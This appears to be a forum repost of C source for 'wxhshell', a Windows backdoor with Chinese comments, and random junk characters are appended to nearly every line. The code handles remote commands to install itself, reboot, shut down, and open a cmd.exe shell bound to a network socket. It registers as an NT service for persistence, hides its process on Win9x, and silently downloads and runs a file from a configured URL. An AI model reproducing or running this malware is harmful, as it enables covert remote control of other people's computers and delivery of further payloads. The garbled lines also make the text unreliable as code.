  b~haP.Cl :  
  // 帮助 /c$Ht  
  case '?': { EYx2IJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q5\LdI2  
    break; :oj) eS[Y  
  } L(1,W<kYg  
  // 安装 kX ,FQG>  
  case 'i': { CN$A-sjZ  
    if(Install()) ^/d^$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J! 6z  
    else |b-Zy~6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ad$Qs3)6o  
    break; P15 *VPy  
    } %oCjZ"ke  
  // 卸载 0h@%q;g  
  case 'r': { 0)`lx9&h  
    if(Uninstall()) #Hn yE+tD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zIQc#F6\5  
    else im?XXsH'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bc|x:#`C\{  
    break; :56lzsWUE<  
    } 6 pn@`UK  
  // 显示 wxhshell 所在路径 N;ecT@U g  
  case 'p': { qn"T? O  
    char svExeFile[MAX_PATH]; ;`of'9|  
    strcpy(svExeFile,"\n\r"); ^? {kj{v  
      strcat(svExeFile,ExeFile); >ya-  
        send(wsh,svExeFile,strlen(svExeFile),0); vs0H^L  
    break; ma-Y'  
    } pTX'5   
  // 重启 ZesD(  
  case 'b': { >'|xQjLl  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yxP?O@(  
    if(Boot(REBOOT)) SQKY;p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4^NHf|UJH  
    else { NdSxWrD`m  
    closesocket(wsh); '5,,XhP  
    ExitThread(0); {kRC!}  
    } e "adkV  
    break; Z8dN0AqZ  
    } y0&HXX#\  
  // 关机 ] xLb )Z  
  case 'd': { >scS wT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N evvA(M  
    if(Boot(SHUTDOWN)) XsN#<"f;i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ccRk4xR  
    else { 0l1]QD+Gc5  
    closesocket(wsh); :*Ggz|  
    ExitThread(0); a=B0ytNm  
    } \HQb#f,  
    break; *-!ndbf  
    } H6JMN1#t$  
  // 获取shell Jx9%8Ek  
  case 's': { 3Q~&xNf  
    CmdShell(wsh); P_lcX;O  
    closesocket(wsh); >T*g'954xF  
    ExitThread(0); n`KXJ?t  
    break; |AfQ_iT6c  
  } \\G6c4 fC  
  // 退出 g~H? l3v  
  case 'x': { ~m|?! ]n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0?Wf\7  
    CloseIt(wsh); QRHm |f9_C  
    break; 2[YD&  
    } taEMr> /  
  // 离开 4qz{ D"M  
  case 'q': { iY'hkrw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); JiLrwPex[  
    closesocket(wsh); @?=)}2=|?i  
    WSACleanup(); R"t$N@ZFb  
    exit(1); U1|4vd9  
    break; c^WBB$v  
        } %=<NqINM[  
  } ?jm2|:  
  } 8oH54bFp  
U?ic$J]N  
  // 提示信息 ?~Ed n-" Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \fR:+rbQ&|  
} &q}@[ )V4  
  } h16Nr x  
nN\XVGP,t  
  return; #Ii.tTk  
} +2 o|#`)i  
vhEs+ j  
// shell模块句柄 }R5&[hxh4t  
int CmdShell(SOCKET sock) Odtck9L  
{ ,k!f`  
STARTUPINFO si; 1V3J:W#;  
ZeroMemory(&si,sizeof(si)); }3_G|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <T/L.>p4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wP':B AQ4U  
PROCESS_INFORMATION ProcessInfo; 2^ZPO4|  
char cmdline[]="cmd"; "#k(V=y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &8i{'k,l  
  return 0; 9qy 9  
} }o:sx/=u_  
`oWjq6  
// 自身启动模式 y]Tn#4 ,/  
int StartFromService(void) c@B%`6kF  
{ RcM0VbR"EU  
typedef struct vm^# aoDB  
{ "K!BJQ  
  DWORD ExitStatus; . mrRv8>$  
  DWORD PebBaseAddress; "wC5hj]  
  DWORD AffinityMask; f4I9H0d;!  
  DWORD BasePriority; HbSx}bM_9  
  ULONG UniqueProcessId; K$5P_~;QL  
  ULONG InheritedFromUniqueProcessId; wSyu^KDz  
}   PROCESS_BASIC_INFORMATION; qTMz6D!Q  
ujqktrhuLb  
PROCNTQSIP NtQueryInformationProcess; W1`ZS*12D  
BvR3Oi@Wc  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~2}ICU5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [:S F(*}  
oP75|p  
  HANDLE             hProcess; jt r=8OiL  
  PROCESS_BASIC_INFORMATION pbi; h1o+7  
;l?(VqX_E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NS;8&  
  if(NULL == hInst ) return 0; I_*>EA  
{o<p{q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eSBf;lr=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s? #lhI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X(z-?6N4  
be#"517  
  if (!NtQueryInformationProcess) return 0; :uDB3jN[  
N,Bs% p#1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qM !q,Q  
  if(!hProcess) return 0; U7eQ-r  
M':.b+xN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ZSt ww{Z  
B8Zd#.6]  
  CloseHandle(hProcess); *bSG48W("  
~At.V+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'oL[rO~j  
if(hProcess==NULL) return 0; Li^!OHro.  
o:\a  
HMODULE hMod; <!>}t a  
char procName[255]; HbDB?s<  
unsigned long cbNeeded; 2wsZ&y%  
6Ymk8.PF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e' VXyf  
&>fd:16  
  CloseHandle(hProcess); 2Hwf:S'  
Sxu v}y\  
if(strstr(procName,"services")) return 1; // 以服务启动 S]g)^f'a65  
4O^1gw  
  return 0; // 注册表启动 r=aQ S5  
} q~_jF$9SX  
i=QhX CM  
// 主模块 ,jcp"-5#j  
int StartWxhshell(LPSTR lpCmdLine) ttVSgKAsm  
{ BIyG[y?qO  
  SOCKET wsl; o2jB~}VMl  
BOOL val=TRUE; '=* 5C{  
  int port=0; Ft !~w#&-  
  struct sockaddr_in door; K_3ZJ  
4]KceE  
  if(wscfg.ws_autoins) Install(); H4Ek,m|c  
L1i> %5:g  
port=atoi(lpCmdLine); O8o18m8UH  
&W!@3O{~.  
if(port<=0) port=wscfg.ws_port; a<.@+sj{  
iNSJOS  
  WSADATA data; V'/%)oU\"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kyB]fmS  
a $:N9&P  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   c'R|Wyf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v4aGL<SO  
  door.sin_family = AF_INET; M6!brj\[|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7^=jv~>wP  
  door.sin_port = htons(port); ,u2<()`8D  
p2^OQK  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )&-E@% \  
closesocket(wsl); 'WCTjTob/  
return 1; GXVGU-br  
} >.4Sx~VH2  
kzXW<V9  
  if(listen(wsl,2) == INVALID_SOCKET) { Z4' v  
closesocket(wsl); g\'84:*J\  
return 1; S~Q";C[&  
} 2fB@zF  
  Wxhshell(wsl); S5TT  
  WSACleanup(); e?WR={  
/]&1XT?  
return 0; (p!AX<=z  
-<=< T@,  
} wf1DvsJQl  
DYK|"@  
// 以NT服务方式启动 ^XVa!s,d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $*R9LPpk+  
{ ZrS!R[  
DWORD   status = 0; .Oh$sma1  
  DWORD   specificError = 0xfffffff; yl%F<5  
DmsloPB?_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qW^l2Jff  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &ii =$4"R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^pa).B.`T  
  serviceStatus.dwWin32ExitCode     = 0; _Hk`e}}  
  serviceStatus.dwServiceSpecificExitCode = 0; jN0v<_PJED  
  serviceStatus.dwCheckPoint       = 0; w2L)f,X  
  serviceStatus.dwWaitHint       = 0; $h9!"f[|j  
"o^zOU  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [~wcHE  
  if (hServiceStatusHandle==0) return; dM$S|, H  
M(f'qFY=K  
status = GetLastError(); QNFrkel  
  if (status!=NO_ERROR) VuW19-G  
{ r_m&Jl@4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [:qX3"B  
    serviceStatus.dwCheckPoint       = 0; jo~vOu  
    serviceStatus.dwWaitHint       = 0; U"]i.J1  
    serviceStatus.dwWin32ExitCode     = status; [-ecKPx  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]\lw^.%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); E?uv&evPK7  
    return; CjGI}t  
  } C2v7(  
H<"j3qt  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _guY%2% yR  
  serviceStatus.dwCheckPoint       = 0; (k~c]N)v  
  serviceStatus.dwWaitHint       = 0; v*LL7b0 A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Kw|`y %~  
} N}= - +E|  
ZHJzh\?  
// 处理NT服务事件,比如:启动、停止 |IvX7%*]~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) PdZSXP4;k  
{ G'Y|MCKz>  
switch(fdwControl) y6oDbwke  
{ i747( ^  
case SERVICE_CONTROL_STOP: iDsjIW\j  
  serviceStatus.dwWin32ExitCode = 0; X(\RA.64  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nDvWOt  
  serviceStatus.dwCheckPoint   = 0; u[DV{o  
  serviceStatus.dwWaitHint     = 0; n9^zAcUbAW  
  { o%a$m9I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3'wBX  
  } p:jrqjLp  
  return; mfvQ]tz_+  
case SERVICE_CONTROL_PAUSE: D[mYrWHpn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <#-ERQw  
  break; rgCId@R  
case SERVICE_CONTROL_CONTINUE: :>k\uW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ilP&ctn6+c  
  break; ,J~dER\%  
case SERVICE_CONTROL_INTERROGATE: .\ZxwD|  
  break; q,GL#L  
}; )r~Oj3TH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OsXQWSkj~  
} >/*\x g&J  
y~fy0P:T  
// 标准应用程序主函数 __M}50^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w'!gLta  
{ [g? NU]  
z,tax`O  
// 获取操作系统版本 Xqy{=:0  
OsIsNt=GetOsVer(); -]e@cevy  
GetModuleFileName(NULL,ExeFile,MAX_PATH); a/ZfPl0Ns[  
'};Xb|msU  
  // 从命令行安装 ,x/j&S9!  
  if(strpbrk(lpCmdLine,"iI")) Install(); "'Q:%_;  
2+.m44>Ti  
  // 下载执行文件 IYWD_}_ $  
if(wscfg.ws_downexe) { $f+9svq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bpzA ' g>  
  WinExec(wscfg.ws_filenam,SW_HIDE);  x^"OH  
} @;0Ep 0[  
-3fvO~  
if(!OsIsNt) { P1kd6]s  
// 如果时win9x,隐藏进程并且设置为注册表启动 [,dsV d  
HideProc(); :MVD83?4  
StartWxhshell(lpCmdLine); a'Z"Yz^Eo  
} OQq7|dZu  
else F2&KTK  
  if(StartFromService()) G>Q{[m$  
  // 以服务方式启动 L`\ILJz  
  StartServiceCtrlDispatcher(DispatchTable); 6T-(GHzfHJ  
else #L"h >,b  
  // 普通方式启动 Buo1o&&  
  StartWxhshell(lpCmdLine); &e(de$}xt  
_heQ|'(  
return 0; Wq4?`{  
}
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只看该作者 1 发表于: 2006-10-10
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